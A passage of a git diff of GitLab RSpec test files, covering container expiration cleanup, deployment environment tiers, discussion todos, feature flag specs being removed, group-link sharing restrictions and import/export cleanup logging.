+ aggregate_failures "checking the response and container repositories" do
+ expect(response.success?).to eq(true)
+ expect(response.payload).to include(cleanup_status: :unfinished, container_repository_id: repository.id)
+ expect(ContainerRepository.waiting_for_cleanup.count).to eq(1)
+ expect(repository.reload.cleanup_unfinished?).to be_truthy
+ expect(repository.expiration_policy_started_at).not_to eq(nil)
+ expect(repository.expiration_policy_completed_at).to eq(nil)
+ end
+ end
+
+ context 'with a truncated cleanup tags service response' do
+ let(:cleanup_tags_service_response) do
+ {
+ status: :error,
+ original_size: 1000,
+ before_truncate_size: 800,
+ after_truncate_size: 200,
+ before_delete_size: 100,
+ deleted_size: 100
+ }
end
it 'partially clean up the repository' do
@@ -47,179 +78,134 @@ RSpec.describe ContainerExpirationPolicies::CleanupService do
aggregate_failures "checking the response and container repositories" do
expect(response.success?).to eq(true)
- expect(response.payload).to include(cleanup_status: :unfinished, container_repository_id: repository.id)
+ expect(response.payload)
+ .to include(
+ cleanup_status: :unfinished,
+ container_repository_id: repository.id,
+ cleanup_tags_service_original_size: 1000,
+ cleanup_tags_service_before_truncate_size: 800,
+ cleanup_tags_service_after_truncate_size: 200,
+ cleanup_tags_service_before_delete_size: 100,
+ cleanup_tags_service_deleted_size: 100
+ )
expect(ContainerRepository.waiting_for_cleanup.count).to eq(1)
expect(repository.reload.cleanup_unfinished?).to be_truthy
expect(repository.expiration_policy_started_at).not_to eq(nil)
expect(repository.expiration_policy_completed_at).to eq(nil)
end
end
-
- context 'with a truncated cleanup tags service response' do
- let(:cleanup_tags_service_response) do
- {
- status: :error,
- original_size: 1000,
- before_truncate_size: 800,
- after_truncate_size: 200,
- before_delete_size: 100,
- deleted_size: 100
- }
- end
-
- it 'partially clean up the repository' do
- response = subject
-
- aggregate_failures "checking the response and container repositories" do
- expect(response.success?).to eq(true)
- expect(response.payload)
- .to include(
- cleanup_status: :unfinished,
- container_repository_id: repository.id,
- cleanup_tags_service_original_size: 1000,
- cleanup_tags_service_before_truncate_size: 800,
- cleanup_tags_service_after_truncate_size: 200,
- cleanup_tags_service_before_delete_size: 100,
- cleanup_tags_service_deleted_size: 100
- )
- expect(ContainerRepository.waiting_for_cleanup.count).to eq(1)
- expect(repository.reload.cleanup_unfinished?).to be_truthy
- expect(repository.expiration_policy_started_at).not_to eq(nil)
- expect(repository.expiration_policy_completed_at).to eq(nil)
- end
- end
- end
end
+ end
- context 'with no repository' do
- let(:service) { described_class.new(nil) }
+ context 'with no repository' do
+ let(:service) { described_class.new(nil) }
- it 'returns an error response' do
- expect(subject.success?).to eq(false)
- expect(subject.message).to eq('no repository')
- end
+ it 'returns an error response' do
+ expect(subject.success?).to eq(false)
+ expect(subject.message).to eq('no repository')
end
+ end
- context 'with an invalid policy' do
- let(:policy) { repository.project.container_expiration_policy }
+ context 'with an invalid policy' do
+ let(:policy) { repository.project.container_expiration_policy }
- before do
- policy.name_regex = nil
- policy.enabled = true
- repository.expiration_policy_cleanup_status = :cleanup_ongoing
- end
+ before do
+ policy.name_regex = nil
+ policy.enabled = true
+ repository.expiration_policy_cleanup_status = :cleanup_ongoing
+ end
- it 'returns an error response' do
- expect { subject }.to change { repository.expiration_policy_cleanup_status }.from('cleanup_ongoing').to('cleanup_unscheduled')
- expect(subject.success?).to eq(false)
- expect(subject.message).to eq('invalid policy')
- expect(policy).not_to be_enabled
- end
+ it 'returns an error response' do
+ expect { subject }.to change { repository.expiration_policy_cleanup_status }.from('cleanup_ongoing').to('cleanup_unscheduled')
+ expect(subject.success?).to eq(false)
+ expect(subject.message).to eq('invalid policy')
+ expect(policy).not_to be_enabled
end
+ end
- context 'with a network error' do
- before do
- expect(Projects::ContainerRepository::CleanupTagsService)
- .to receive(:new).and_raise(Faraday::TimeoutError)
- end
+ context 'with a network error' do
+ before do
+ expect(Projects::ContainerRepository::CleanupTagsService)
+ .to receive(:new).and_raise(Faraday::TimeoutError)
+ end
- it 'raises an error' do
- expect { subject }.to raise_error(Faraday::TimeoutError)
+ it 'raises an error' do
+ expect { subject }.to raise_error(Faraday::TimeoutError)
- expect(ContainerRepository.waiting_for_cleanup.count).to eq(1)
- expect(repository.reload.cleanup_unfinished?).to be_truthy
- expect(repository.expiration_policy_started_at).not_to eq(nil)
- expect(repository.expiration_policy_completed_at).to eq(nil)
- end
+ expect(ContainerRepository.waiting_for_cleanup.count).to eq(1)
+ expect(repository.reload.cleanup_unfinished?).to be_truthy
+ expect(repository.expiration_policy_started_at).not_to eq(nil)
+ expect(repository.expiration_policy_completed_at).to eq(nil)
end
end
- context 'with loopless enabled' do
- let(:policy) { repository.project.container_expiration_policy }
+ context 'next run scheduling' do
+ let_it_be_with_reload(:repository2) { create(:container_repository, project: project) }
+ let_it_be_with_reload(:repository3) { create(:container_repository, project: project) }
before do
- policy.update!(enabled: true)
- policy.update_column(:next_run_at, 5.minutes.ago)
+ cleanup_tags_service = instance_double(Projects::ContainerRepository::CleanupTagsService)
+ allow(Projects::ContainerRepository::CleanupTagsService)
+ .to receive(:new).and_return(cleanup_tags_service)
+ allow(cleanup_tags_service).to receive(:execute).and_return(status: :success)
end
- it_behaves_like 'cleaning up a container repository'
-
- context 'next run scheduling' do
- let_it_be_with_reload(:repository2) { create(:container_repository, project: project) }
- let_it_be_with_reload(:repository3) { create(:container_repository, project: project) }
+ shared_examples 'not scheduling the next run' do
+ it 'does not scheduled the next run' do
+ expect(policy).not_to receive(:schedule_next_run!)
- before do
- cleanup_tags_service = instance_double(Projects::ContainerRepository::CleanupTagsService)
- allow(Projects::ContainerRepository::CleanupTagsService)
- .to receive(:new).and_return(cleanup_tags_service)
- allow(cleanup_tags_service).to receive(:execute).and_return(status: :success)
- end
-
- shared_examples 'not scheduling the next run' do
- it 'does not scheduled the next run' do
- expect(policy).not_to receive(:schedule_next_run!)
-
- expect { subject }.not_to change { policy.reload.next_run_at }
- end
+ expect { subject }.not_to change { policy.reload.next_run_at }
end
+ end
- shared_examples 'scheduling the next run' do
- it 'schedules the next run' do
- expect(policy).to receive(:schedule_next_run!).and_call_original
+ shared_examples 'scheduling the next run' do
+ it 'schedules the next run' do
+ expect(policy).to receive(:schedule_next_run!).and_call_original
- expect { subject }.to change { policy.reload.next_run_at }
- end
+ expect { subject }.to change { policy.reload.next_run_at }
end
+ end
- context 'with cleanups started_at before policy next_run_at' do
- before do
- ContainerRepository.update_all(expiration_policy_started_at: 10.minutes.ago)
- end
-
- it_behaves_like 'not scheduling the next run'
+ context 'with cleanups started_at before policy next_run_at' do
+ before do
+ ContainerRepository.update_all(expiration_policy_started_at: 10.minutes.ago)
end
- context 'with cleanups started_at around policy next_run_at' do
- before do
- repository3.update!(expiration_policy_started_at: policy.next_run_at + 10.minutes.ago)
- end
+ it_behaves_like 'not scheduling the next run'
+ end
- it_behaves_like 'not scheduling the next run'
+ context 'with cleanups started_at around policy next_run_at' do
+ before do
+ repository3.update!(expiration_policy_started_at: policy.next_run_at + 10.minutes.ago)
end
- context 'with only the current repository started_at before the policy next_run_at' do
- before do
- repository2.update!(expiration_policy_started_at: policy.next_run_at + 10.minutes)
- repository3.update!(expiration_policy_started_at: policy.next_run_at + 12.minutes)
- end
+ it_behaves_like 'not scheduling the next run'
+ end
- it_behaves_like 'scheduling the next run'
+ context 'with only the current repository started_at before the policy next_run_at' do
+ before do
+ repository2.update!(expiration_policy_started_at: policy.next_run_at + 10.minutes)
+ repository3.update!(expiration_policy_started_at: policy.next_run_at + 12.minutes)
end
- context 'with cleanups started_at after policy next_run_at' do
- before do
- ContainerRepository.update_all(expiration_policy_started_at: policy.next_run_at + 10.minutes)
- end
+ it_behaves_like 'scheduling the next run'
+ end
- it_behaves_like 'scheduling the next run'
+ context 'with cleanups started_at after policy next_run_at' do
+ before do
+ ContainerRepository.update_all(expiration_policy_started_at: policy.next_run_at + 10.minutes)
end
- context 'with a future policy next_run_at' do
- before do
- policy.update_column(:next_run_at, 5.minutes.from_now)
- end
+ it_behaves_like 'scheduling the next run'
+ end
- it_behaves_like 'not scheduling the next run'
+ context 'with a future policy next_run_at' do
+ before do
+ policy.update_column(:next_run_at, 5.minutes.from_now)
end
- end
- end
- context 'with loopless disabled' do
- before do
- stub_feature_flags(container_registry_expiration_policies_loopless: false)
+ it_behaves_like 'not scheduling the next run'
end
-
- it_behaves_like 'cleaning up a container repository'
end
end
end
diff --git a/spec/services/deployments/update_environment_service_spec.rb b/spec/services/deployments/update_environment_service_spec.rb
index 4d15258a186..6996563fdb8 100644
--- a/spec/services/deployments/update_environment_service_spec.rb
+++ b/spec/services/deployments/update_environment_service_spec.rb
@@ -95,6 +95,42 @@ RSpec.describe Deployments::UpdateEnvironmentService do
end
end
+ context 'when external URL is specified and the tier is unset' do
+ let(:options) { { name: 'production', url: external_url } }
+
+ before do
+ environment.update_columns(external_url: external_url, tier: nil)
+ job.update!(environment: 'production')
+ end
+
+ context 'when external URL is valid' do
+ let(:external_url) { 'https://google.com' }
+
+ it 'succeeds to update the tier automatically' do
+ expect { subject.execute }.to change { environment.tier }.from(nil).to('production')
+ end
+ end
+
+ context 'when external URL is invalid' do
+ let(:external_url) { 'google.com' }
+
+ it 'fails to update the tier due to validation error' do
+ expect { subject.execute }.not_to change { environment.tier }
+ end
+
+ it 'tracks an exception' do
+ expect(Gitlab::ErrorTracking).to receive(:track_exception)
+ .with(an_instance_of(described_class::EnvironmentUpdateFailure),
+ project_id: project.id,
+ environment_id: environment.id,
+ reason: %q{External url is blocked: Only allowed schemes are http, https})
+ .once
+
+ subject.execute
+ end
+ end
+ end
+
context 'when variables are used' do
let(:options) do
{ name: 'review-apps/$CI_COMMIT_REF_NAME',
diff --git a/spec/services/design_management/copy_design_collection/copy_service_spec.rb b/spec/services/design_management/copy_design_collection/copy_service_spec.rb
index 03242487b53..186d2481c19 100644
--- a/spec/services/design_management/copy_design_collection/copy_service_spec.rb
+++ b/spec/services/design_management/copy_design_collection/copy_service_spec.rb
@@ -195,6 +195,14 @@ RSpec.describe DesignManagement::CopyDesignCollection::CopyService, :clean_gitla
expect { subject }.to change { target_repository.branch_names }.from([]).to(['master'])
end
+ it 'does not create default branch when one exists' do
+ target_repository.create_if_not_exists
+ target_repository.create_file(user, '.meta', '.gitlab', branch_name: 'new-branch', message: 'message')
+
+ expect { subject }.not_to change { target_repository.branch_names }
+ expect(target_repository.branch_names).to eq(['new-branch'])
+ end
+
it 'leaves the design collection in the correct copy state' do
subject
diff --git a/spec/services/discussions/resolve_service_spec.rb b/spec/services/discussions/resolve_service_spec.rb
index 2e30455eb0a..24de1d90526 100644
--- a/spec/services/discussions/resolve_service_spec.rb
+++ b/spec/services/discussions/resolve_service_spec.rb
@@ -121,5 +121,50 @@ RSpec.describe Discussions::ResolveService do
service.execute
end
end
+
+ context 'when resolving a discussion' do
+ def resolve_discussion(discussion, user)
+ described_class.new(project, user, one_or_more_discussions: discussion).execute
+ end
+
+ context 'in a design' do
+ let_it_be(:design) { create(:design, :with_file, issue: create(:issue, project: project)) }
+ let_it_be(:user_1) { create(:user) }
+ let_it_be(:user_2) { create(:user) }
+ let_it_be(:discussion_1) { create(:diff_note_on_design, noteable: design, project: project, author: user_1).to_discussion }
+ let_it_be(:discussion_2) { create(:diff_note_on_design, noteable: design, project: project, author: user_2).to_discussion }
+
+ before do
+ project.add_developer(user_1)
+ project.add_developer(user_2)
+ end
+
+ context 'when user resolving discussion has open todos' do
+ let!(:user_1_todo_for_discussion_1) { create(:todo, :pending, user: user_1, target: design, note: discussion_1.notes.first, project: project) }
+ let!(:user_1_todo_2_for_discussion_1) { create(:todo, :pending, user: user_1, target: design, note: discussion_1.notes.first, project: project) }
+ let!(:user_1_todo_for_discussion_2) { create(:todo, :pending, user: user_1, target: design, note: discussion_2.notes.first, project: project) }
+ let!(:user_2_todo_for_discussion_1) { create(:todo, :pending, user: user_2, target: design, note: discussion_1.notes.first, project: project) }
+
+ it 'marks user todos for given discussion as done' do
+ resolve_discussion(discussion_1, user_1)
+
+ expect(user_1_todo_for_discussion_1.reload).to be_done
+ expect(user_1_todo_2_for_discussion_1.reload).to be_done
+ expect(user_1_todo_for_discussion_2.reload).to be_pending
+ expect(user_2_todo_for_discussion_1.reload).to be_pending
+ end
+ end
+ end
+
+ context 'in a merge request' do
+ let!(:user_todo_for_discussion) { create(:todo, :pending, user: user, target: merge_request, note: discussion.notes.first, project: project) }
+
+ it 'does not mark user todo as done' do
+ resolve_discussion(discussion, user)
+
+ expect(user_todo_for_discussion).to be_pending
+ end
+ end
+ end
end
end
diff --git a/spec/services/feature_flags/disable_service_spec.rb b/spec/services/feature_flags/disable_service_spec.rb
deleted file mode 100644
index 4b2137be35c..00000000000
--- a/spec/services/feature_flags/disable_service_spec.rb
+++ /dev/null
@@ -1,92 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-
-RSpec.describe FeatureFlags::DisableService do
- include FeatureFlagHelpers
-
- let_it_be(:project) { create(:project) }
- let_it_be(:user) { create(:user) }
-
- let(:params) { {} }
- let(:service) { described_class.new(project, user, params) }
-
- before_all do
- project.add_developer(user)
- end
-
- describe '#execute' do
- subject { service.execute }
-
- context 'with params to disable default strategy on prd scope' do
- let(:params) do
- {
- name: 'awesome',
- environment_scope: 'prd',
- strategy: { name: 'userWithId', parameters: { 'userIds': 'User:1' } }.deep_stringify_keys
- }
- end
-
- context 'when there is a persisted feature flag' do
- let!(:feature_flag) { create_flag(project, params[:name]) }
-
- context 'when there is a persisted scope' do
- let!(:scope) do
- create_scope(feature_flag, params[:environment_scope], true, strategies)
- end
-
- context 'when there is a persisted strategy' do
- let(:strategies) do
- [
- { name: 'userWithId', parameters: { 'userIds': 'User:1' } }.deep_stringify_keys,
- { name: 'userWithId', parameters: { 'userIds': 'User:2' } }.deep_stringify_keys
- ]
- end
-
- it 'deletes the specified strategy' do
- subject
-
- scope.reload
- expect(scope.strategies.count).to eq(1)
- expect(scope.strategies).not_to include(params[:strategy])
- end
-
- context 'when strategies will be empty' do
- let(:strategies) { [params[:strategy]] }
-
- it 'deletes the persisted scope' do
- subject
-
- expect(feature_flag.scopes.exists?(environment_scope: params[:environment_scope]))
- .to eq(false)
- end
- end
- end
-
- context 'when there is no persisted strategy' do
- let(:strategies) { [{ name: 'default', parameters: {} }] }
-
- it 'returns error' do
- expect(subject[:status]).to eq(:error)
- expect(subject[:message]).to include('Strategy not found')
- end
- end
- end
-
- context 'when there is no persisted scope' do
- it 'returns error' do
- expect(subject[:status]).to eq(:error)
- expect(subject[:message]).to include('Feature Flag Scope not found')
- end
- end
- end
-
- context 'when there is no persisted feature flag' do
- it 'returns error' do
- expect(subject[:status]).to eq(:error)
- expect(subject[:message]).to include('Feature Flag not found')
- end
- end
- end
- end
-end
diff --git a/spec/services/feature_flags/enable_service_spec.rb b/spec/services/feature_flags/enable_service_spec.rb
deleted file mode 100644
index c0008b1933f..00000000000
--- a/spec/services/feature_flags/enable_service_spec.rb
+++ /dev/null
@@ -1,154 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-
-RSpec.describe FeatureFlags::EnableService do
- include FeatureFlagHelpers
-
- let_it_be(:project) { create(:project) }
- let_it_be(:user) { create(:user) }
-
- let(:params) { {} }
- let(:service) { described_class.new(project, user, params) }
-
- before_all do
- project.add_developer(user)
- end
-
- describe '#execute' do
- subject { service.execute }
-
- context 'with params to enable default strategy on prd scope' do
- let(:params) do
- {
- name: 'awesome',
- environment_scope: 'prd',
- strategy: { name: 'default', parameters: {} }.stringify_keys
- }
- end
-
- context 'when there is no persisted feature flag' do
- it 'creates a new feature flag with scope' do
- feature_flag = subject[:feature_flag]
- scope = feature_flag.scopes.find_by_environment_scope(params[:environment_scope])
- expect(subject[:status]).to eq(:success)
- expect(feature_flag.name).to eq(params[:name])
- expect(feature_flag.default_scope).not_to be_active
- expect(scope).to be_active
- expect(scope.strategies).to include(params[:strategy])
- end
-
- context 'when params include default scope' do
- let(:params) do
- {
- name: 'awesome',
- environment_scope: '*',
- strategy: { name: 'userWithId', parameters: { 'userIds': 'abc' } }.deep_stringify_keys
- }
- end
-
- it 'create a new feature flag with an active default scope with the specified strategy' do
- feature_flag = subject[:feature_flag]
- expect(subject[:status]).to eq(:success)
- expect(feature_flag.default_scope).to be_active
- expect(feature_flag.default_scope.strategies).to include(params[:strategy])
- end
- end
- end
-
- context 'when there is a persisted feature flag' do
- let!(:feature_flag) { create_flag(project, params[:name]) }
-
- context 'when there is no persisted scope' do
- it 'creates a new scope for the persisted feature flag' do
- feature_flag = subject[:feature_flag]
- scope = feature_flag.scopes.find_by_environment_scope(params[:environment_scope])
- expect(subject[:status]).to eq(:success)
- expect(feature_flag.name).to eq(params[:name])
- expect(scope).to be_active
- expect(scope.strategies).to include(params[:strategy])
- end
- end
-
- context 'when there is a persisted scope' do
- let!(:feature_flag_scope) do
- create_scope(feature_flag, params[:environment_scope], active, strategies)
- end
-
- let(:active) { true }
-
- context 'when the persisted scope does not have the specified strategy yet' do
- let(:strategies) { [{ name: 'userWithId', parameters: { 'userIds': 'abc' } }] }
-
- it 'adds the specified strategy to the scope' do
- subject
-
- feature_flag_scope.reload
- expect(feature_flag_scope.strategies).to include(params[:strategy])
- end
-
- context 'when the persisted scope is inactive' do
- let(:active) { false }
-
- it 'reactivates the scope' do
- expect { subject }
- .to change { feature_flag_scope.reload.active }.from(false).to(true)
- end
- end
- end
-
- context 'when the persisted scope has the specified strategy already' do
- let(:strategies) { [params[:strategy]] }
-
- it 'does not add a duplicated strategy to the scope' do
- expect { subject }
- .not_to change { feature_flag_scope.reload.strategies.count }
- end
- end
- end
- end
- end
-
- context 'when strategy is not specified in params' do
- let(:params) do
- {
- name: 'awesome',
- environment_scope: 'prd'
- }
- end
-
- it 'returns error' do
- expect(subject[:status]).to eq(:error)
- expect(subject[:message]).to include('Scopes strategies must be an array of strategy hashes')
- end
- end
-
- context 'when environment scope is not specified in params' do
- let(:params) do
- {
- name: 'awesome',
- strategy: { name: 'default', parameters: {} }.stringify_keys
- }
- end
-
- it 'returns error' do
- expect(subject[:status]).to eq(:error)
- expect(subject[:message]).to include("Scopes environment scope can't be blank")
- end
- end
-
- context 'when name is not specified in params' do
- let(:params) do
- {
- environment_scope: 'prd',
- strategy: { name: 'default', parameters: {} }.stringify_keys
- }
- end
-
- it 'returns error' do
- expect(subject[:status]).to eq(:error)
- expect(subject[:message]).to include("Name can't be blank")
- end
- end
- end
-end
diff --git a/spec/services/feature_flags/update_service_spec.rb b/spec/services/feature_flags/update_service_spec.rb
index 1a127a0d472..d838549891a 100644
--- a/spec/services/feature_flags/update_service_spec.rb
+++ b/spec/services/feature_flags/update_service_spec.rb
@@ -121,150 +121,5 @@ RSpec.describe FeatureFlags::UpdateService do
subject
end
end
-
- context 'when scope active state is changed' do
- let(:params) do
- {
- scopes_attributes: [{ id: feature_flag.scopes.first.id, active: false }]
- }
- end
-
- it 'creates audit event about changing active state' do
- expect { subject }.to change { AuditEvent.count }.by(1)
- expect(audit_event_message).to(
- include("Updated rule <strong>*</strong> active state "\
- "from <strong>true</strong> to <strong>false</strong>.")
- )
- end
- end
-
- context 'when scope is renamed' do
- let(:changed_scope) { feature_flag.scopes.create!(environment_scope: 'review', active: true) }
- let(:params) do
- {
- scopes_attributes: [{ id: changed_scope.id, environment_scope: 'staging' }]
- }
- end
-
- it 'creates audit event with changed name' do
- expect { subject }.to change { AuditEvent.count }.by(1)
- expect(audit_event_message).to(
- include("Updated rule <strong>staging</strong> environment scope "\
- "from <strong>review</strong> to <strong>staging</strong>.")
- )
- end
-
- context 'when scope can not be updated' do
- let(:params) do
- {
- scopes_attributes: [{ id: changed_scope.id, environment_scope: '' }]
- }
- end
-
- it 'returns error status' do
- expect(subject[:status]).to eq(:error)
- end
-
- it 'returns error messages' do
- expect(subject[:message]).to include("Scopes environment scope can't be blank")
- end
-
- it 'does not create audit event' do
- expect { subject }.not_to change { AuditEvent.count }
- end
- end
- end
-
- context 'when scope is deleted' do
- let(:deleted_scope) { feature_flag.scopes.create!(environment_scope: 'review', active: true) }
- let(:params) do
- {
- scopes_attributes: [{ id: deleted_scope.id, '_destroy': true }]
- }
- end
-
- it 'creates audit event with deleted scope' do
- expect { subject }.to change { AuditEvent.count }.by(1)
- expect(audit_event_message).to include("Deleted rule <strong>review</strong>.")
- end
-
- context 'when scope can not be deleted' do
- before do
- allow(deleted_scope).to receive(:destroy).and_return(false)
- end
-
- it 'does not create audit event' do
- expect do
- subject
- end.to not_change { AuditEvent.count }.and raise_error(ActiveRecord::RecordNotDestroyed)
- end
- end
- end
-
- context 'when new scope is being added' do
- let(:new_environment_scope) { 'review' }
- let(:params) do
- {
- scopes_attributes: [{ environment_scope: new_environment_scope, active: true }]
- }
- end
-
- it 'creates audit event with new scope' do
- expected = 'Created rule <strong>review</strong> and set it as <strong>active</strong> '\
- 'with strategies <strong>[{"name"=>"default", "parameters"=>{}}]</strong>.'
-
- subject
-
- expect(audit_event_message).to include(expected)
- end
-
- context 'when scope can not be created' do
- let(:new_environment_scope) { '' }
-
- it 'returns error status' do
- expect(subject[:status]).to eq(:error)
- end
-
- it 'returns error messages' do
- expect(subject[:message]).to include("Scopes environment scope can't be blank")
- end
-
- it 'does not create audit event' do
- expect { subject }.not_to change { AuditEvent.count }
- end
- end
- end
-
- context 'when the strategy is changed' do
- let(:scope) do
- create(:operations_feature_flag_scope,
- feature_flag: feature_flag,
- environment_scope: 'sandbox',
- strategies: [{ name: "default", parameters: {} }])
- end
-
- let(:params) do
- {
- scopes_attributes: [{
- id: scope.id,
- environment_scope: 'sandbox',
- strategies: [{
- name: 'gradualRolloutUserId',
- parameters: {
- groupId: 'mygroup',
- percentage: "40"
- }
- }]
- }]
- }
- end
-
- it 'creates an audit event' do
- expected = %r{Updated rule <strong>sandbox</strong> strategies from <strong>.*</strong> to <strong>.*</strong>.}
-
- expect { subject }.to change { AuditEvent.count }.by(1)
- expect(audit_event_message).to match(expected)
- end
- end
end
end
diff --git a/spec/services/groups/create_service_spec.rb b/spec/services/groups/create_service_spec.rb
index dca5497de06..b59ee894fe8 100644
--- a/spec/services/groups/create_service_spec.rb
+++ b/spec/services/groups/create_service_spec.rb
@@ -140,7 +140,7 @@ RSpec.describe Groups::CreateService, '#execute' do
end
it 'create the chat team with the group' do
- allow_any_instance_of(Mattermost::Team).to receive(:create)
+ allow_any_instance_of(::Mattermost::Team).to receive(:create)
.and_return({ 'name' => 'tanuki', 'id' => 'lskdjfwlekfjsdifjj' })
expect { subject }.to change { ChatTeam.count }.from(0).to(1)
diff --git a/spec/services/groups/destroy_service_spec.rb b/spec/services/groups/destroy_service_spec.rb
index a5fce315d91..c794acdf76d 100644
--- a/spec/services/groups/destroy_service_spec.rb
+++ b/spec/services/groups/destroy_service_spec.rb
@@ -41,7 +41,7 @@ RSpec.describe Groups::DestroyService do
let!(:chat_team) { create(:chat_team, namespace: group) }
it 'destroys the team too' do
- expect_next_instance_of(Mattermost::Team) do |instance|
+ expect_next_instance_of(::Mattermost::Team) do |instance|
expect(instance).to receive(:destroy)
end
diff --git a/spec/services/groups/group_links/create_service_spec.rb b/spec/services/groups/group_links/create_service_spec.rb
index df994b9f2a3..b1bb9a8de23 100644
--- a/spec/services/groups/group_links/create_service_spec.rb
+++ b/spec/services/groups/group_links/create_service_spec.rb
@@ -11,8 +11,8 @@ RSpec.describe Groups::GroupLinks::CreateService, '#execute' do
let_it_be(:group) { create(:group, :private, parent: group_parent) }
let_it_be(:group_child) { create(:group, :private, parent: group) }
- let_it_be(:shared_group_parent) { create(:group, :private) }
- let_it_be(:shared_group) { create(:group, :private, parent: shared_group_parent) }
+ let_it_be(:shared_group_parent, refind: true) { create(:group, :private) }
+ let_it_be(:shared_group, refind: true) { create(:group, :private, parent: shared_group_parent) }
let_it_be(:shared_group_child) { create(:group, :private, parent: shared_group) }
let_it_be(:project_parent) { create(:project, group: shared_group_parent) }
@@ -28,7 +28,7 @@ RSpec.describe Groups::GroupLinks::CreateService, '#execute' do
let(:user) { group_user }
- subject { described_class.new(group, user, opts) }
+ subject { described_class.new(shared_group, group, user, opts) }
before do
group.add_guest(group_user)
@@ -36,11 +36,11 @@ RSpec.describe Groups::GroupLinks::CreateService, '#execute' do
end
it 'adds group to another group' do
- expect { subject.execute(shared_group) }.to change { group.shared_group_links.count }.from(0).to(1)
+ expect { subject.execute }.to change { group.shared_group_links.count }.from(0).to(1)
end
it 'returns false if shared group is blank' do
- expect { subject.execute(nil) }.not_to change { group.shared_group_links.count }
+ expect { described_class.new(nil, group, user, opts) }.not_to change { group.shared_group_links.count }
end
context 'user does not have access to group' do
@@ -51,7 +51,7 @@ RSpec.describe Groups::GroupLinks::CreateService, '#execute' do
end
it 'returns error' do
- result = subject.execute(shared_group)
+ result = subject.execute
expect(result[:status]).to eq(:error)
expect(result[:http_status]).to eq(404)
@@ -67,7 +67,7 @@ RSpec.describe Groups::GroupLinks::CreateService, '#execute' do
end
it 'returns error' do
- result = subject.execute(shared_group)
+ result = subject.execute
expect(result[:status]).to eq(:error)
expect(result[:http_status]).to eq(404)
@@ -85,7 +85,7 @@ RSpec.describe Groups::GroupLinks::CreateService, '#execute' do
it 'is executed only for the direct members of the group' do
expect(UserProjectAccessChangedService).to receive(:new).with(contain_exactly(group_user.id)).and_call_original
- subject.execute(shared_group)
+ subject.execute
end
end
@@ -94,7 +94,7 @@ RSpec.describe Groups::GroupLinks::CreateService, '#execute' do
let(:user) { group_user }
it 'create proper authorizations' do
- subject.execute(shared_group)
+ subject.execute
expect(Ability.allowed?(user, :read_project, project_parent)).to be_falsey
expect(Ability.allowed?(user, :read_project, project)).to be_truthy
@@ -106,7 +106,7 @@ RSpec.describe Groups::GroupLinks::CreateService, '#execute' do
let(:user) { parent_group_user }
it 'create proper authorizations' do
- subject.execute(shared_group)
+ subject.execute
expect(Ability.allowed?(user, :read_project, project_parent)).to be_falsey
expect(Ability.allowed?(user, :read_project, project)).to be_falsey
@@ -118,7 +118,7 @@ RSpec.describe Groups::GroupLinks::CreateService, '#execute' do
let(:user) { child_group_user }
it 'create proper authorizations' do
- subject.execute(shared_group)
+ subject.execute
expect(Ability.allowed?(user, :read_project, project_parent)).to be_falsey
expect(Ability.allowed?(user, :read_project, project)).to be_falsey
@@ -127,4 +127,28 @@ RSpec.describe Groups::GroupLinks::CreateService, '#execute' do
end
end
end
+
+ context 'sharing outside the hierarchy is disabled' do
+ before do
+ shared_group_parent.namespace_settings.update!(prevent_sharing_groups_outside_hierarchy: true)
+ end
+
+ it 'prevents sharing with a group outside the hierarchy' do
+ result = subject.execute
+
+ expect(group.reload.shared_group_links.count).to eq(0)
+ expect(result[:status]).to eq(:error)
+ expect(result[:http_status]).to eq(404)
+ end
+
+ it 'allows sharing with a group within the hierarchy' do
+ sibling_group = create(:group, :private, parent: shared_group_parent)
+ sibling_group.add_guest(group_user)
+
+ result = described_class.new(shared_group, sibling_group, user, opts).execute
+
+ expect(sibling_group.reload.shared_group_links.count).to eq(1)
+ expect(result[:status]).to eq(:success)
+ end
+ end
end
diff --git a/spec/services/groups/participants_service_spec.rb b/spec/services/groups/participants_service_spec.rb
new file mode 100644
index 00000000000..750aead277f
--- /dev/null
+++ b/spec/services/groups/participants_service_spec.rb
@@ -0,0 +1,37 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Groups::ParticipantsService do
+ describe '#group_members' do
+ let(:user) { create(:user) }
+ let(:parent_group) { create(:group) }
+ let(:group) { create(:group, parent: parent_group) }
+ let(:subgroup) { create(:group, parent: group) }
+ let(:subproject) { create(:project, group: subgroup) }
+
+ it 'returns all members in parent groups, sub-groups, and sub-projects' do
+ parent_group.add_developer(create(:user))
+ subgroup.add_developer(create(:user))
+ subproject.add_developer(create(:user))
+
+ result = described_class.new(group, user).execute(nil)
+
+ expected_users = (group.self_and_hierarchy.flat_map(&:users) + subproject.users)
+ .map { |user| user_to_autocompletable(user) }
+
+ expect(expected_users.count).to eq(3)
+ expect(result).to include(*expected_users)
+ end
+ end
+
+ def user_to_autocompletable(user)
+ {
+ type: user.class.name,
+ username: user.username,
+ name: user.name,
+ avatar_url: user.avatar_url,
+ availability: user&.status&.availability
+ }
+ end
+end
diff --git a/spec/services/import_export_clean_up_service_spec.rb b/spec/services/import_export_clean_up_service_spec.rb
index 4101b13adf9..2bcdfa6dd8f 100644
--- a/spec/services/import_export_clean_up_service_spec.rb
+++ b/spec/services/import_export_clean_up_service_spec.rb
@@ -8,7 +8,13 @@ RSpec.describe ImportExportCleanUpService do
let(:tmp_import_export_folder) { 'tmp/gitlab_exports' }
- context 'when the import/export directory does not exist' do
+ before do
+ allow_next_instance_of(Gitlab::Import::Logger) do |logger|
+ allow(logger).to receive(:info)
+ end
+ end
+
+ context 'when the import/export tmp storage directory does not exist' do
it 'does not remove any archives' do
path = '/invalid/path/'
stub_repository_downloads_path(path)
@@ -19,49 +25,84 @@ RSpec.describe ImportExportCleanUpService do
end
end
- context 'when the import/export directory exists' do
- it 'removes old files' do
- in_directory_with_files(mtime: 2.days.ago) do |dir, files|
- service.execute
-
- files.each { |file| expect(File.exist?(file)).to eq false }
- expect(File.directory?(dir)).to eq false
+ context 'when the import/export tmp storage directory exists' do
+ shared_examples 'removes old tmp files' do |subdir|
+ it 'removes old files and logs' do
+ expect_next_instance_of(Gitlab::Import::Logger) do |logger|
+ expect(logger)
+ .to receive(:info)
+ .with(
+ message: 'Removed Import/Export tmp directory',
+ dir_path: anything
+ )
+ end
+
+ validate_cleanup(subdir: subdir, mtime: 2.days.ago, expected: false)
end
- end
- it 'does not remove new files' do
- in_directory_with_files(mtime: 2.hours.ago) do |dir, files|
- service.execute
+ it 'does not remove new files or logs' do
